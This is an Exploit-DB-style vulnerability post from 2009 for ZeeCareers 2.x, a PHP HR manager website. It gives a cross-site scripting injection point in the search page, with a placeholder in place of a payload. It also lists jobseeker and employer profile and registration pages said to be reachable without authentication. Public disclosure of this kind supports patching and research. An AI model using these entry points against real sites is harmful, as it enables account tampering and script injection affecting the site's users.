Exploit ZeeCareers 2.x - PHP HR Manager Website (Cross-Site Scripting / Authentication Bypass)

[Exploiter]

EDB-ID

10398

Проверка EDB

1. Пройдено

Автор

BI0

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2009-12-12

# Title: ZeeCareers v2x - PHP HR Manager Website [ XSS / Auth Bypass ]
# Date: 12/12/2009
# Author: bi0
# Software Link: http://www.zeecareers.com/
# Version: 2x
# CVE : ()
# Code :

                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 01000010 01101001 01001111

[#]----------------------------------------------------------------[#]
#
# [+] ZeeCareers v2x - PHP HR Manager Website [ XSS / Auth Bypass ]
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: [email protected]
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath,redking,Zer0flag,sp1r1t and ssteam.ws ...
#
#   // Software Info
# [x] Name : ZeeCareers v2x - PHP HR Manager Website
# [x] Vendor : http://www.zeecareers.com/
# [x] Version : 2x
# [x] Price : 149.00 USD
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
#    [XSS]
#
#    http://localhost/basic_search_result.php?title=[XSS]
#
#    [Auth Bypass]
#
#    http://localhost/jobseekers/editprofile.php
#    http://localhost/jobseekers/forgot.php
#    http://localhost/jobseekers/additionalfeatures.php
#
#    [ And ]
#
#    http://localhost/employers/editprofile.php
#    http://localhost/employers/employer_reg.php
#
#
[#]------------------------------------------------------------------------------------------[#]

#EOF